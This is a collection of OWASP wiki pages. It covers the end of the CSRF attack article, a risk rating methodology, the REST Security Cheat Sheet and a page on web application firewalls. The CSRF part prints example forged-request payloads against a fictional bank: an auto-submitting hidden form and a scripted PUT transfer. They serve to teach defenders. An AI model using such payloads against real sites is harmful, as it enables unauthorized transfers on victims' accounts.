A real life example of CSRF attack on an application using GET was a [http://xs-sniper.com/blog/2008/04/21/csrf-pwns-your-box/ uTorrent exploit] from 2008 that was used on a mass scale to download malware.

====POST scenario====

The only difference between GET and POST attacks is how the attack is being executed by the victim. Let's assume the bank now uses POST and the vulnerable request looks like this:

POST <nowiki>http://bank.com/transfer.do</nowiki> HTTP/1.1

acct=BOB&amount=100

Such a request cannot be delivered using standard A or IMG tags, but can be delivered using a FORM tag:

<form action="<nowiki>http://bank.com/transfer.do</nowiki>" method="POST">
<input type="hidden" name="acct" value="MARIA"/>
<input type="hidden" name="amount" value="100000"/>
<input type="submit" value="View my pictures"/>
</form>

This form will require the user to click on the submit button, but this can be also executed automatically using JavaScript:

<body onload="document.forms[0].submit()">
<form...

====Other HTTP methods====

Modern web application APIs frequently use other HTTP methods, such as PUT or DELETE. Let's assume the vulnerable bank uses PUT that takes a JSON block as an argument:

PUT <nowiki>http://bank.com/transfer.do</nowiki> HTTP/1.1

{ "acct":"BOB", "amount":100 }

Such requests can be executed with JavaScript embedded into an exploit page:

<script>
function put() {
var x = new XMLHttpRequest();
x.open("PUT","<nowiki>http://bank.com/transfer.do</nowiki>",true);
x.setRequestHeader("Content-Type", "application/json");
x.send(JSON.stringify('{"acct":"BOB", "amount":100}'));
}
</script>
<body onload="put()">

Fortunately, this request will '''not''' be executed by modern web browsers thanks to [[Same-Origin Policy|same-origin policy]] restrictions. This restriction is enabled by default unless the target web site explicitly opens up cross-origin requests from the attacker's (or everyone's) origin by using [[HTML5 Security Cheat Sheet#Cross_Origin_Resource_Sharing|CORS]] with the following header:

Access-Control-Allow-Origin: *


==Related [[Attacks]]==

* [[Cross-site Scripting (XSS)]]
* [[Cross Site History Manipulation (XSHM)]]


==Related [[Controls]]==

* Add a per-request nonce to the URL and all forms in addition to the standard session. This is also referred to as "form keys". Many frameworks (e.g., Drupal.org 4.7.4+) either have or are starting to include this type of protection "built-in" to every form so the programmer does not need to code this protection manually.
* Add a hash (session id, function name, server-side secret) to all forms.
* For .NET, add a session identifier to ViewState with MAC (described in detail in [[Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet#Viewstate_(ASP.NET) | the CSRF Prevention Cheat Sheet]]).
* Checking the referrer header in the client's HTTP request can prevent CSRF attacks. Ensuring that the HTTP request has come from the original site means that attacks from other sites will not function. It is very common to see referrer header checks used on embedded network hardware due to memory limitations.
** XSS can be used to bypass both referrer and token based checks simultaneously. For instance, the [http://en.wikipedia.org/wiki/Samy_%28computer_worm%29 Samy worm] used an [[XHR]] to obtain the CSRF token to forge requests.
* "Although CSRF is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser's cookies at the end of each browser session." --http://en.wikipedia.org/wiki/Cross-site_request_forgery#_note-1
* [[Tokenizing]]

==References==

* [http://www.cgisecurity.com/articles/csrf-faq.shtml The Cross-Site Request Forgery (CSRF/XSRF) FAQ]
: ''quote: "This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered."''

* [[Testing for CSRF (OWASP-SM-005)|Testing for CSRF]]
: CSRF (aka Session riding) paper from the OWASP Testing Guide project (need to integrate)

* [http://www.darkreading.com/document.asp?doc_id=107651&WT.svl=news1_2 CSRF Vulnerability: A 'Sleeping Giant']
: Overview Paper

* [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf Client Side Protection against Session Riding]
: Martin Johns and Justus Winter's interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf PDF paper]

* [[:Category:OWASP_CSRFGuard_Project|OWASP CSRF Guard]]
: J2EE, .NET, and PHP Filters which append a unique request token to each form and link in the HTML response in order to provide universal coverage against CSRF throughout your entire application.

* [http://owasp.org/index.php/CSRFProtector_Project OWASP CSRF Protector]
: a new anti CSRF method to mitigate CSRF in web applications. Currently implemented as a php library & Apache 2.x.x module

* [http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf A Most-Neglected Fact About Cross Site Request Forgery (CSRF) ]
: Aung Khant, http://yehg.net, explained the danger and impact of CSRF with imperiling scenarios.

* [[:Category:OWASP CSRFTester Project|OWASP CSRF Tester]]
: The OWASP CSRFTester gives developers the ability to test their applications for CSRF flaws.

* [http://code.google.com/p/pinata-csrf-tool/ Pinata-CSRF-Tool: CSRF POC tool]
: Pinata makes it easy to create Proof of Concept CSRF pages. Assists in Application Vulnerability Assessment.

[[Category:Exploitation of Authentication]]
[[Category:Embedded Malicious Code]]
[[Category:Spoofing]]
[[Category:Attack]]

User:Christina Schelin

2014-11-17T16:15:03Z

Christina Schelin:

I am a security analyst working in New York. I'm looking to automate testing certain types of web security for my company.

OWASP Risk Rating Methodology

2014-09-19T20:23:15Z

Christina Schelin: Just some tidying, no information changes.

{{Template:OWASP Testing Guide v4}}

==The OWASP Risk Rating Methodology==

Discovering vulnerabilities is important, but being able to estimate the associated risk to the business is just as important. Early in the life cycle, one may identify security concerns in the architecture or design by using [[threat modeling]]. Later, one may find security issues using [[code review]] or [[penetration testing]]. Or problems may not be discovered until the application is in production and is actually compromised.

By following the approach here, it is possible to estimate the severity of all of these risks to the business and make an informed decision about what to do about those risks. Having a system in place for rating risks will save time and eliminate arguing about priorities. This system will help to ensure that the business doesn't get distracted by minor risks while ignoring more serious risks that are less well understood.

Ideally there would be a universal risk rating system that would accurately estimate all risks for all organizations. But a vulnerability that is critical to one organization may not be very important to another. So a basic framework is presented here that should be ''customized'' for the particular organization.

The authors have tried hard to make this model simple to use, while keeping enough detail for accurate risk estimates to be made. Please reference the section below on customization for more information about tailoring the model for use in a specific organization.

==Approach==

There are many different approaches to risk analysis. See the reference section below for some of the most common ones. The OWASP approach presented here is based on these standard methodologies and is customized for application security.

Let's start with the standard risk model:

'''Risk = Likelihood * Impact'''

In the sections below the factors that make up "likelihood" and "impact" for application security are broken down. The tester is shown how to combine them to determine the overall severity for the risk.

* [[#Step 1: Identifying a Risk]]
* [[#Step 2: Factors for Estimating Likelihood]]
* [[#Step 3: Factors for Estimating Impact]]
* [[#Step 4: Determining Severity of the Risk]]
* [[#Step 5: Deciding What to Fix]]
* [[#Step 6: Customizing Your Risk Rating Model]]

==Step 1: Identifying a Risk==

The first step is to identify a security risk that needs to be rated. The tester needs to gather information about the [[threat agent]] involved, the [[attack]] that will be used, the [[vulnerability]] involved, and the [[impact]] of a successful exploit on the business. There may be multiple possible groups of attackers, or even multiple possible business impacts. In general, it's best to err on the side of caution by using the worst-case option, as that will result in the highest overall risk.

==Step 2: Factors for Estimating Likelihood==

Once the tester has identified a potential risk and wants to figure out how serious it is, the first step is to estimate the "likelihood". At the highest level, this is a rough measure of how likely this particular vulnerability is to be uncovered and exploited by an attacker. It is not necessary to be over-precise in this estimate. Generally, identifying whether the likelihood is low, medium, or high is sufficient.

There are a number of factors that can help determine the likelihood. The first set of factors are related to the [[threat agent]] involved. The goal is to estimate the likelihood of a successful attack from a group of possible attackers. Note that there may be multiple threat agents that can exploit a particular vulnerability, so it's usually best to use the worst-case scenario. For example, an insider may be a much more likely attacker than an anonymous outsider, but it depends on a number of factors.

Note that each factor has a set of options, and each option has a likelihood rating from 0 to 9 associated with it. These numbers will be used later to estimate the overall likelihood.

===[[Threat Agent]] Factors===

The first set of factors are related to the [[threat agent]] involved. The goal here is to estimate the likelihood of a successful attack by this group of threat agents. Use the worst-case threat agent.

; Skill level
: How technically skilled is this group of threat agents? Security penetration skills (9), network and programming skills (6), advanced computer user (4), some technical skills (3), no technical skills (1)

; Motive
: How motivated is this group of threat agents to find and exploit this vulnerability? Low or no reward (1), possible reward (4), high reward (9)

; Opportunity
: What resources and opportunities are required for this group of threat agents to find and exploit this vulnerability? Full access or expensive resources required (0), special access or resources required (4), some access or resources required (7), no access or resources required (9)

; Size
: How large is this group of threat agents? Developers (2), system administrators (2), intranet users (4), partners (5), authenticated users (6), anonymous Internet users (9)

===[[Vulnerability]] Factors===

The next set of factors are related to the [[vulnerability]] involved. The goal here is to estimate the likelihood of the particular vulnerability involved being discovered and exploited. Assume the threat agent selected above.

; Ease of discovery
: How easy is it for this group of threat agents to discover this vulnerability? Practically impossible (1), difficult (3), easy (7), automated tools available (9)

; Ease of exploit
: How easy is it for this group of threat agents to actually exploit this vulnerability? Theoretical (1), difficult (3), easy (5), automated tools available (9)

; Awareness
: How well known is this vulnerability to this group of threat agents? Unknown (1), hidden (4), obvious (6), public knowledge (9)

; Intrusion detection
: How likely is an exploit to be detected? Active detection in application (1), logged and reviewed (3), logged without review (8), not logged (9)

==Step 3: Factors for Estimating Impact==

When considering the impact of a successful attack, it's important to realize that there are two kinds of impacts. The first is the "technical impact" on the application, the data it uses, and the functions it provides. The other is the "business impact" on the business and company operating the application.

Ultimately, the business impact is more important. However, you may not have access to all the information required to figure out the business consequences of a successful exploit. In this case, providing as much detail about the technical risk will enable the appropriate business representative to make a decision about the business risk.

Again, each factor has a set of options, and each option has an impact rating from 0 to 9 associated with it. We'll use these numbers later to estimate the overall impact.

===Technical Impact Factors===

Technical impact can be broken down into factors aligned with the traditional security areas of concern: confidentiality, integrity, availability, and accountability. The goal is to estimate the magnitude of the impact on the system if the vulnerability were to be exploited.

; Loss of confidentiality
: How much data could be disclosed and how sensitive is it? Minimal non-sensitive data disclosed (2), minimal critical data disclosed (6), extensive non-sensitive data disclosed (6), extensive critical data disclosed (7), all data disclosed (9)

; Loss of integrity
: How much data could be corrupted and how damaged is it? Minimal slightly corrupt data (1), minimal seriously corrupt data (3), extensive slightly corrupt data (5), extensive seriously corrupt data (7), all data totally corrupt (9)

; Loss of availability
: How much service could be lost and how vital is it? Minimal secondary services interrupted (1), minimal primary services interrupted (5), extensive secondary services interrupted (5), extensive primary services interrupted (7), all services completely lost (9)

; Loss of accountability
: Are the threat agents' actions traceable to an individual? Fully traceable (1), possibly traceable (7), completely anonymous (9)

===Business Impact Factors===

The business impact stems from the technical impact, but requires a deep understanding of what is important to the company running the application. In general, you should be aiming to support your risks with business impact, particularly if your audience is executive level. The business risk is what justifies investment in fixing security problems.

Many companies have an asset classification guide and/or a business impact reference to help formalize what is important to their business. These standards can help you focus on what's truly important for security. If these aren't available, then it is necessary to talk with people who understand the business to get their take on what's important.

The factors below are common areas for many businesses, but this area is even more unique to a company than the factors related to threat agent, vulnerability, and technical impact.

; Financial damage
: How much financial damage will result from an exploit? Less than the cost to fix the vulnerability (1), minor effect on annual profit (3), significant effect on annual profit (7), bankruptcy (9)

; Reputation damage
: Would an exploit result in reputation damage that would harm the business? Minimal damage (1), Loss of major accounts (4), loss of goodwill (5), brand damage (9)

; Non-compliance
: How much exposure does non-compliance introduce? Minor violation (2), clear violation (5), high profile violation (7)

; Privacy violation
: How much personally identifiable information could be disclosed? One individual (3), hundreds of people (5), thousands of people (7), millions of people (9)

==Step 4: Determining the Severity of the Risk==

In this step the likelihood estimate and the impact estimate are put together to calculate an overall severity for this risk. This is done by figuring out whether the likelihood is low, medium, or high and then do the same for impact. The 0 to 9 scale is split into three parts:

<table border="1" cellpadding="5" cellspacing="0" width="40%" align="center">
<tr>
<th align="center" colspan="2">Likelihood and Impact Levels</th>
</tr>
<tr>
<td align="center" width="50%">0 to <3</td>
<td align="center" width="50%" bgcolor="lightgreen">LOW</td>
</tr>
<tr>
<td align="center">3 to <6</td>
<td align="center" bgcolor="yellow">MEDIUM</td>
</tr>
<tr>
<td align="center">6 to 9</td>
<td align="center" bgcolor="red">HIGH</td>
</tr>
</table>

===Informal Method===

In many environments, there is nothing wrong with reviewing the factors and simply capturing the answers. The tester should think through the factors and identify the key "driving" factors that are controlling the result. The tester may discover that their initial impression was wrong by considering aspects of the risk that weren't obvious.

===Repeatable Method===

If it is necessary to defend the ratings or make them repeatable, then it is necessary to go through a more formal process of rating the factors and calculating the result. Remember that there is quite a lot of uncertainty in these estimates and that these factors are intended to help the tester arrive at a sensible result. This process can be supported by automated tools to make the calculation easier.

The first step is to select one of the options associated with each factor and enter the associated number in the table. Then simply take the average of the scores to calculate the overall likelihood. For example:

<table border="1" cellpadding="5" cellspacing="0" align="center">
<tr>
<td colspan="4" align="center">'''Threat agent factors'''</td>
<td></td>
<td colspan="4" align="center">'''Vulnerability factors'''</td>
</tr>
<tr>
<td align="center" width="10%">Skill level</td>
<td align="center" width="10%">Motive</td>
<td align="center" width="10%">Opportunity</td>
<td align="center" width="10%">Size</td>
<td align="center" width="2%"></td>
<td align="center" width="10%">Ease of discovery</td>
<td align="center" width="10%">Ease of exploit</td>
<td align="center" width="10%">Awareness</td>
<td align="center" width="10%">Intrusion detection</td>
</tr>
<tr>
<td align="center">5</td>
<td align="center">2</td>
<td align="center">7</td>
<td align="center">1</td>
<td align="center"></td>
<td align="center">3</td>
<td align="center">6</td>
<td align="center">9</td>
<td align="center">2</td>
</tr>
<tr>
<td colspan="9" align="center" bgcolor="lightblue">Overall likelihood=4.375 (MEDIUM)</td>
</tr>
</table>

Next, the tester needs to figure out the overall impact. The process is similar here. In many cases the answer will be obvious, but the tester can make an estimate based on the factors, or they can average the scores for each of the factors. Again, less than 3 is low, 3 to less than 6 is medium, and 6 to 9 is high. For example:

<table border="1" cellpadding="5" cellspacing="0" align="center">
<tr>
<th colspan="4" align="center">Technical Impact</th>
<td></td>
<th colspan="4" align="center">Business Impact</th>
</tr>
<tr>
<td align="center" width="10%">Loss of confidentiality</td>
<td align="center" width="10%">Loss of integrity</td>
<td align="center" width="10%">Loss of availability</td>
<td align="center" width="10%">Loss of accountability</td>
<td align="center" width="2%"></td>
<td align="center" width="10%">Financial damage</td>
<td align="center" width="10%">Reputation damage</td>
<td align="center" width="10%">Non-compliance</td>
<td align="center" width="10%">Privacy violation</td>
</tr>
<tr>
<td align="center">9</td>
<td align="center">7</td>
<td align="center">5</td>
<td align="center">8</td>
<td align="center"></td>
<td align="center">1</td>
<td align="center">2</td>
<td align="center">1</td>
<td align="center">5</td>
</tr>
<tr>
<td colspan="4" align="center" bgcolor="lightblue">Overall technical impact=7.25 (HIGH)</td>
<td></td>
<td colspan="4" align="center" bgcolor="lightblue">Overall business impact=2.25 (LOW)</td>
</tr>
</table>

===Determining Severity===

However the tester arrives at the likelihood and impact estimates, they can now combine them to get a final severity rating for this risk. Note that if they have good business impact information, they should use that instead of the technical impact information. But if they have no information about the business, then technical impact is the next best thing.

<table border="1" cellpadding="5" cellspacing="0" align="center">
<tr>
<th align="center" colspan="5">Overall Risk Severity</th>
</tr>
<tr>
<th align="center" width="15%" rowspan="4">Impact</th>
<td align="center" width="15%">HIGH</td>
<td align="center" width="15%" bgcolor="orange">Medium</td>
<td align="center" width="15%" bgcolor="red">High</td>
<td align="center" width="15%" bgcolor="pink">Critical</td>
</tr>
<tr>
<td align="center">MEDIUM</td>
<td align="center" bgcolor="yellow">Low</td>
<td align="center" bgcolor="orange">Medium</td>
<td align="center" bgcolor="red">High</td>
</tr>
<tr>
<td align="center">LOW</td>
<td align="center" bgcolor="lightgreen">Note</td>
<td align="center" bgcolor="yellow">Low</td>
<td align="center" bgcolor="orange">Medium</td>
</tr>
<tr>
<td align="center"> </td>
<td align="center">LOW</td>
<td align="center">MEDIUM</td>
<td align="center">HIGH</td>
</tr>
<tr>
<td align="center"> </td>
<th align="center" colspan="4">Likelihood</th>
</tr>
</table>

In the example above, the likelihood is medium and the technical impact is high, so from a purely technical perspective it appears that the overall severity is high. However, note that the business impact is actually low, so the overall severity is best described as low as well. This is why understanding the business context of the vulnerabilities you are evaluating is so critical to making good risk decisions. Failure to understand this context can lead to the lack of trust between the business and security teams that is present in many organizations.

==Step 5: Deciding What to Fix==

After the risks to the application have been classified there will be a prioritized list of what to fix. As a general rule, the most severe risks should be fixed first. It simply doesn't help the overall risk profile to fix less important risks, even if they're easy or cheap to fix.

Remember that not all risks are worth fixing, and some loss is not only expected, but justifiable based upon the cost of fixing the issue. For example, if it would cost $100,000 to implement controls to stem $2,000 of fraud per year, it would take 50 years return on investment to stamp out the loss. But remember there may be reputation damage from the fraud that could cost the organization much more.

==Step 6: Customizing the Risk Rating Model==

Having a risk ranking framework that is customizable for a business is critical for adoption. A tailored model is much more likely to produce results that match people's perceptions about what is a serious risk. A lot of time can be wasted arguing about the risk ratings if they are not supported by a model like this. There are several ways to tailor this model for the organization.

===Adding factors===

The tester can choose different factors that better represent what's important for the specific organization. For example, a military application might add impact factors related to loss of human life or classified information. The tester might also add likelihood factors, such as the window of opportunity for an attacker or encryption algorithm strength.

===Customizing options===

There are some sample options associated with each factor, but the model will be much more effective if the tester customizes these options to the business. For example, use the names of the different teams and the company names for different classifications of information. The tester can also change the scores associated with the options. The best way to identify the right scores is to compare the ratings produced by the model with ratings produced by a team of experts. You can tune the model by carefully adjusting the scores to match.

===Weighting factors===

The model above assumes that all the factors are equally important. You can weight the factors to emphasize the factors that are more significant for the specific business. This makes the model a bit more complex, as the tester needs to use a weighted average. But otherwise everything works the same. Again it is possible to tune the model by matching it against risk ratings the business agrees are accurate.

==References==

* Managing Information Security Risk: Organization, Mission, and Information System View [http://csrc.nist.gov/publications/nistpubs/800-39/SP800-39-final.pdf]
* Industry standard vulnerability severity and risk rankings (CVSS) [http://www.first.org/cvss/]
* Security-enhancing process models (CLASP) [http://www.owasp.org/index.php/Category:OWASP_CLASP_Project]
* Cheat Sheet: Web Application Security Frame - MSDN - Microsoft [http://msdn.microsoft.com/en-us/library/ff649461.aspx]
* [[Threat_Risk_Modeling|Threat Risk Modeling]]
* Pratical Threat Analysis [http://www.ptatechnologies.com/]
* Application Security Risk Assessment Guidelines [http://kb.wisc.edu/page.php?id=20262]
* A Platform for Risk Analysis of Security Critical Systems [http://sourceforge.net/projects/coras/]
* Model-driven Development and Analysis of Secure Information Systems [http://heim.ifi.uio.no/~ketils/securis/]
* Value Driven Security Threat Modeling Based on Attack Path Analysis [http://origin-www.computer.org/csdl/proceedings/hicss/2007/2755/00/27550280a.pdf]

Template:OWASP Testing Guide v4

2014-09-19T20:11:57Z

Christina Schelin: HTTPS.

<b>This article is part of the new OWASP Testing Guide v4.</b><br />
Back to the OWASP Testing Guide v4 ToC:
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
Back to the OWASP Testing Guide Project:
https://www.owasp.org/index.php/OWASP_Testing_Project

__TOC__
[[Category:OWASP Testing Project]]
[[Category:Test]]

Template:Vulnerability

2014-09-12T15:14:44Z

Christina Schelin:

''This is a '''Vulnerability'''. To view all vulnerabilities, please see the [[:Category:Vulnerability|Vulnerability Category]] page.''
[[Category:OWASP ASDR Project]]
[[Category:Vulnerability]]
__NOTOC__

REST Security Cheat Sheet

2014-09-04T16:51:58Z

Christina Schelin: Just some tidying, no information changes.

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}

[http://en.wikipedia.org/wiki/Representational_state_transfer REST] (or REpresentational State Transfer) is a means of expressing specific entities in a system by URL path elements. REST is not an architecture but it is an architectural style to build services on top of the Web. REST allows interaction with a web-based system via simplified URLs rather than complex request body or <tt>POST</tt> parameters to request specific items from the system. This document serves as a guide (although not exhaustive) of best practices to help REST-based services.

= Authentication and session management =

RESTful web services should use session-based authentication, either by establishing a session token via a POST or by using an API key as a POST body argument or as a cookie. Usernames, passwords, session tokens, and API keys should not appear in the URL, as this can be captured in web server logs, which makes them intrinsically valuable.

OK:

* [https://example.com/resourceCollection/123/action https://example.com/resourceCollection/<id>/action]
* https://twitter.com/vanderaj/lists

NOT OK:

* [https://example.com/controller/123/action?apiKey=a53f435643de32 https://example.com/controller/<id>/action?apiKey=a53f435643de32] (API Key in URL)
* [http://example.com/controller/123/action?apiKey=a53f435643de32 http://example.com/controller/<id>/action?apiKey=a53f435643de32] (transaction not protected by TLS; API Key in URL)

== Protect Session State ==

Many web services are written to be as stateless as possible. This usually ends up with a state blob being sent as part of the transaction.

* Consider using only the session token or API key to maintain client state in a server-side cache. This is directly equivalent to how normal web apps do it, and there's a reason why this is moderately safe.
* Anti-replay. Attackers will cut and paste a blob and become someone else. Consider using a time limited encryption key, keyed against the session token or API key, date and time, and incoming IP address. In general, implement some protection of local client storage of the authentication token to mitigate replay attacks.
* Don't make it easy to decrypt; change the internal state to be much better than it should be.

In short, even if you have a brochureware web site, don't put in <tt>https://example.com/users/2313/edit?isAdmin=false&debug=false&allowCSRPanel=false</tt> as you will quickly end up with a lot of admins, and help desk helpers, and "developers".

= Authorization =

== Anti-farming ==

Many RESTful web services are put up, and then farmed, such as a price matching website or aggregation service. There's no technical method of preventing this use, so strongly consider means to encourage it as a business model by making high velocity farming is possible for a fee, or contractually limiting service using terms and conditions. CAPTCHAs and similar methods can help reduce simpler adversaries, but not well funded or technically competent adversaries. Using mutually assured client side TLS certificates may be a method of limiting access to trusted organizations, but this is by no means certain, particularly if certificates are posted deliberately or by accident to the Internet.

== Protect HTTP methods ==

RESTful API often use GET (read), POST (create), PUT (replace/update) and DELETE (to delete a record). Not all of these are valid choices for every single resource collection, user, or action. Make sure the incoming HTTP method is valid for the session token/API key and associated resource collection, action, and record. For example, if you have an RESTful API for a library, it's not okay to allow anonymous users to DELETE book catalog entries, but it's fine for them to GET a book catalog entry. On the other hand, for the librarian, both of these are valid uses.

== Whitelist allowable methods ==

It is common with RESTful services to allow multiple methods for a given URL for different operations on that entity. For example, a <tt>GET</tt> request might read the entity while <tt>PUT</tt> would update an existing entity, <tt>POST</tt> would create a new entity, and <tt>DELETE</tt> would delete an existing entity. It is important for the service to properly restrict the allowable verbs such that only the allowed verbs would work, while all others would return a proper response code (for example, a <tt>403 Forbidden</tt>).

In Java EE in particular, this can be difficult to implement properly. See [https://www.aspectsecurity.com/wp-content/plugins/download-monitor/download.php?id=18 Bypassing Web Authentication and Authorization with HTTP Verb Tampering] for an explanation of this common misconfiguration.

== Protect privileged actions and sensitive resource collections ==

Not every user has a right to every web service. This is vital, as you don't want administrative web services to be misused:

* https://example.com/admin/exportAllData

The session token or API key should be sent along as a cookie or body parameter to ensure that privileged collections or actions are properly protected from unauthorized use.

== Protect against cross-site request forgery ==

For resources exposed by RESTful web services, it's important to make sure any PUT, POST, and DELETE request is protected from Cross Site Request Forgery. Typically one would use a token-based approach. See [[Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet]] for more information on how to implement CSRF-protection.

CSRF is easily achieved even using random tokens if any XSS exists within your application, so please make sure you understand [[XSS (Cross Site Scripting) Prevention Cheat Sheet|how to prevent XSS]].

== Insecure firect object references ==

It may seem obvious, but if you had a bank account REST web service, you'd have to make sure there is adequate checking of primary and foreign keys:

* https://example.com/account/325365436/transfer?amount=$100.00&toAccount=473846376

In this case, it would be possible to transfer money from any account to any other account, which is clearly absurd. Not even a random token makes this safe.

* https://example.com/invoice/2362365

In this case, it would be possible to get a copy of all invoices.

Please make sure you understand how to protect against [[Top_10_2010-A4-Insecure_Direct_Object_References|insecure direct object references]] in the OWASP Top 10 2010.

= Input validation =

== Input validation 101 ==

Everything you know about input validation applies to RESTful web services, but add 10% because automated tools can easily fuzz your interfaces for hours on end at high velocity. So:

* Assist the user > Reject input > Sanitize (filtering) > No input validation

Assisting the user makes the most sense, as the most common scenario is "problem exists between keyboard and computer" (PEBKAC). Help the user input high quality data into your web services, such as ensuring a Zip code makes sense for the supplied address, or the date makes sense. If not, reject that input. If they continue on, or it's a text field or some other difficult to validate field, input sanitization is a losing proposition but still better than XSS or SQL injection. If you're already reduced to sanitization or no input validation, make sure output encoding is very strong for your application.

Log input validation failures, particularly if you assume that client-side code you wrote is going to call your web services. The reality is that anyone can call your web services, so assume that someone who is performing hundreds of failed input validations per second is up to no good. Also consider rate limiting the API to a certain number of requests per hour or day to prevent abuse.

== Secure parsing ==

Use a secure parser for parsing the incoming messages. If you are using XML, make sure to use a parser that is not vulnerable to [https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing XXE attacks].

== Strong typing ==

It's difficult to perform most attacks if the only allowed values are true or false, or a number, or one of a small number of acceptable values. Strongly type incoming data as quickly as possible.

== Validate incoming content-types ==

When POSTing or PUTting new data, the client will specify the Content-Type (e.g. <tt>application/xml</tt> or <tt>application/json</tt>) of the incoming data. The client should never assume the Content-Type; it should always check that the Content-Type header and the content are the same type. A lack of Content-Type header or an unexpected Content-Type header should result in the server rejecting the content with a <tt>406 Not Acceptable</tt> response.

== Validate response types ==

It is common for REST services to allow multiple response types (e.g. <tt>application/xml</tt> or <tt>application/json</tt>, and the client specifies the preferred order of response types by the <tt>Accept</tt> header in the request. '''Do NOT''' simply copy the <tt>Accept</tt> header to the <tt>Content-type</tt> header of the response. Reject the request (ideally with a <tt>406 Not Acceptable</tt> response) if the <tt>Accept</tt> header does not specifically contain one of the allowable types.

Because there are many MIME types for the typical response types, it's important to document for clients specifically which MIME types should be used.

== XML input validation ==

XML-based services must ensure that they are protected against common XML based attacks by using secure XML-parsing. This typically means protecting against XML External Entity attacks, XML-signature wrapping etc. See [http://ws-attacks.org http://ws-attacks.org] for examples of such attacks.

= Output encoding =

== Send security headers ==

To make sure the content of a given resources is interpreted correctly by the browser, the server should always send the Content-Type header with the correct Content-Type, and preferably the Content-Type header should include a charset. The server should also send an <tt>X-Content-Type-Options: nosniff</tt> to make sure the browser does not try to detect a different Content-Type than what is actually sent (can lead to XSS).

Additionally the client should send an <tt>X-Frame-Options: deny</tt> to protect against drag'n drop clickjacking attacks in older browsers.

== JSON encoding ==

A key concern with JSON encoders is preventing arbitrary JavaScript remote code execution within the browser... or, if you're using node.js, on the server. It's vital that you use a proper JSON serializer to encode user-supplied data properly to prevent the execution of user-supplied input on the browser.

When inserting values into the browser DOM, strongly consider using <tt>.value</tt>/<tt>.innerText</tt>/<tt>.textContent</tt> rather than <tt>.innerHTML</tt> updates, as this protects against simple DOM XSS attacks.

== XML encoding ==

XML should never be built by string concatenation. It should always be constructed using an XML serializer. This ensures that the XML content sent to the browser is parseable and does not contain XML injection. For more information, please see the [[Web Service Security Cheat Sheet]].

= Cryptography =

== Data in transit ==

Unless the public information is completely read-only, the use of TLS should be mandated, particularly where credentials, updates, deletions, and any value transactions are performed. The overhead of TLS is negligible on modern hardware, with a minor latency increase that is more than compensated by safety for the end user.

Consider the use of mutually authenticated client-side certificates to provide additional protection for highly privileged web services.

== Data in storage ==

Leading practices are recommended as per any web application when it comes to correctly handling stored sensitive or regulated data. For more information, please see [[Top 10 2010-A7|OWASP Top 10 2010 - A7 Insecure Cryptographic Storage]].

= Related articles =

{{Cheatsheet_Navigation}}

= Authors and primary editors =

Erlend Oftedal - erlend.oftedal@owasp.org<br/>
Andrew van der Stock - vanderaj@owasp.org<br/>
| valign="top" style="padding-left:25px;width:300px;border-right: 1px dotted gray;padding-right:25px;" |

== Other cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]]

Web Application Firewall

2014-06-04T16:03:20Z

Christina Schelin: Tidying.

{{Template:Countermeasure}}

==Description==

A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as [[Cross-site Scripting (XSS)|cross-site scripting (XSS)]] and [[SQL Injection|SQL injection]]. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.

A far more detailed description is available at [http://en.wikipedia.org/wiki/Application_firewall Wikipedia].

==Important selection criteria==

* Protection against OWASP top ten
* Very few false positives (i.e., should NEVER disallow an authorized request)
* Strength of default (out-of-the-box) defenses
* Power and ease of learn mode
* Types of vulnerabilities it can prevent
* Detects disclosure and unauthorized content in outbound reply messages, such as credit-card and Social Security numbers
* Both positive and negative security model support
* Simplified and intuitive user interface
* Cluster mode support
* High performance (milliseconds latency)
* Complete alerting, forensics, reporting capabilities
* Web services\XML support
* Brute force protection
* Ability to active (block and log), passive (log only) and bypass the web traffic
* Ability to keep individual users constrained to exactly what they have seen in the current session
* Ability to be configured to prevent ANY specific problem (e.g., emergency patches)
* Form factor: software vs. hardware (hardware generally preferred)

You may also use [https://www.owasp.org/index.php/Category:OWASP_Best_Practices:_Use_of_Web_Application_Firewalls OWASP Best Practices: Use of Web Application Firewalls] to find out where and when to use a WAF. You may also find the [http://www.webappsec.org/projects/wafec/ Web Application Firewall Evaluation Criteria] useful for evaluating the performance and other characteristics of a WAF.

The [[London Chapter WAF event]] held in 2006 has some comparative info amongst the WAF vendors that participated in the event.

== Tools ==

===OWASP tools of this type===

* The [http://www.owasp.org/index.php/Category:OWASP_Stinger_Project OWASP Stinger Project] is not a full blown WAF, but it is a strong Java/J2EE input validation filter that can be put in front of your application.
* [https://www.owasp.org/index.php/OWASP_NAXSI_Project NAXSI] is a WAF for NGINX.

===Well-known open source tools of this type===

* [http://www.aqtronix.com/?PageID=99 AQTronix - WebKnight]
* [http://www.modsecurity.org/ Trustwave SpiderLabs - ModSecurity]
* [https://www.ironbee.com/ Qualys - Ironbee] (A recent new project by Qualys led by Ivan Ristic, the original ModSecurity author)
* [https://github.com/jaydipdave/quickdefencewaf QuickDefence-WAF] (Nginx and Lua based first open source WAF, still in pre-alpha stage)

===Commercial tools from OWASP members of this type===

These vendors have decided to support OWASP by becoming [[Membership|members]]. OWASP appreciates the support from these organizations, but cannot endorse any commercial products or services.

